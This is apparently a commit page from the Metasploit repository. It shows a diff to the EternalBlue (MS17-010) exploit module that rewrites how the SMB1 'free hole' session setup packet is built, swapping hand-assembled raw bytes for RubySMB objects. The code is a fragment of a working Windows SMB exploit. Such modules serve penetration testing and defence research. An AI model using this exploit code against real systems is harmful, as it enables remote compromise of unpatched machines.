Skip to content

Commit 0b0e2f6

Browse files
David MaloneyDavid Maloney
authored andcommitted
update SMB1 "Freehole" packet
the 'Freehole' packet is now generated with RubySMB and sent by the client, rather than raw bytes sent over the bare socket
1 parent bc8ad81 commit 0b0e2f6

File tree

1 file changed

+15
-43
lines changed

1 file changed

+15
-43
lines changed

modules/exploits/windows/smb/ms17_010_eternalblue.rb

Lines changed: 15 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -358,13 +358,8 @@ def smb1_free_hole(start)
358358
pkt = make_smb1_free_hole_session_packet("\x07\x40", "\x2c\x01", "\xf8\x87\x00\x00\x00")
359359
end
360360

361-
#dump_packet(pkt)
362-
sock.put(pkt)
363-
364-
vprint_status("Receiving free hole response.")
365-
sock.get_once
366-
367-
return sock
361+
client.send_recv(pkt)
362+
sock
368363
end
369364

370365
def smb1_get_response(sock)
@@ -575,44 +570,21 @@ def make_smb1_nt_trans_packet(tree_id, user_id)
575570
end
576571

577572
def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)
578-
pkt = ""
579-
pkt << "\x00" # Session message
580-
pkt << "\x00\x00\x51" # length
581-
pkt << "\xffSMB" # SMB1
582-
pkt << "\x73" # Session Setup AndX
583-
pkt << "\x00\x00\x00\x00" # NT SUCCESS
584-
pkt << "\x18" # Flags
585-
pkt << flags2 # Flags2
586-
pkt << "\x00\x00" # PID High
587-
pkt << "\x00\x00\x00\x00" # Signature1
588-
pkt << "\x00\x00\x00\x00" # Signature2
589-
pkt << "\x00\x00" # Reserved
590-
pkt << "\x00\x00" # TreeID
591-
pkt << "\xff\xfe" # PID
592-
pkt << "\x00\x00" # UserID
593-
pkt << "\x40\x00" # MultiplexID
594-
#pkt << "\x00\x00" # Reserved
573+
packet = RubySMB::SMB1::Packet::SessionSetupRequest.new
595574

596-
pkt << "\x0c" # Word Count
597-
pkt << "\xff" # No further commands
598-
pkt << "\x00" # Reserved
599-
pkt << "\x00\x00" # AndXOffset
600-
pkt << "\x04\x11" # Max Buffer
601-
pkt << "\x0a\x00" # Max Mpx Count
602-
pkt << vcnum # VC Number
603-
pkt << "\x00\x00\x00\x00" # Session key
604-
pkt << "\x00\x00" # Security blob length
605-
pkt << "\x00\x00\x00\x00" # Reserved
606-
pkt << "\x00\x00\x00\x80" # Capabilities
607-
pkt << "\x16\x00" # Byte count
608-
#pkt << "\xf0" # Security Blob: <MISSING>
609-
#pkt << "\xff\x00\x00\x00" # Native OS
610-
#pkt << "\x00\x00" # Native LAN manager
611-
#pkt << "\x00\x00" # Primary domain
612-
pkt << native_os
613-
pkt << "\x00" * 17 # Extra byte params
575+
packet.smb_header.flags.read("\x18")
576+
packet.smb_header.flags2.read(flags2)
577+
packet.smb_header.pid_high = 65279
578+
packet.smb_header.mid = 64
614579

615-
pkt
580+
packet.parameter_block.vc_number.read(vcnum)
581+
packet.parameter_block.max_buffer_size = 4356
582+
packet.parameter_block.max_mpx_count = 10
583+
packet.parameter_block.security_blob_length = 0
584+
585+
packet.data_block.native_os = native_os
586+
packet.data_block.native_lan_man = "\x00" * 17
587+
packet
616588
end
617589

618590
# ring3 = user mode encoded payload

0 commit comments

Comments
 (0)